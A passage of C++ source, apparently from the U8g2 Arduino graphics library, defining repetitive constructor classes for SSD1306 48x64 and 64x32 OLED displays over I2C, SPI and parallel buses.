U8G2_SSD1306_48X64_WINSTAR_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_F_6800 : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_F_8080 : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_48X64_WINSTAR_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_48X64_WINSTAR_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_48X64_WINSTAR_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_48X64_WINSTAR_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_48X64_WINSTAR_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_64X32_NONAME_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_64X32_NONAME_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_64X32_NONAME_1_6800 : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_1_8080 : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_64X32_1F_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_64X32_1F_1_6800 : public U8G2 { public: U8G2_SSD1306_64X32_1F_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_1_8080 : public U8G2 { public: U8G2_SSD1306_64X32_1F_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_64X32_NONAME_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_64X32_NONAME_2_6800 : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_2_8080 : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_64X32_1F_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_64X32_1F_2_6800 : public U8G2 { public: U8G2_SSD1306_64X32_1F_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_2_8080 : public U8G2 { public: U8G2_SSD1306_64X32_1F_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_64X32_NONAME_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_64X32_NONAME_F_6800 : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X32_NONAME_F_8080 : public U8G2 { public: U8G2_SSD1306_64X32_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_64X32_1F_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X32_1F_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_64X32_1F_F_6800 : public U8G2 { public: U8G2_SSD1306_64X32_1F_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X32_1F_F_8080 : public U8G2 { public: 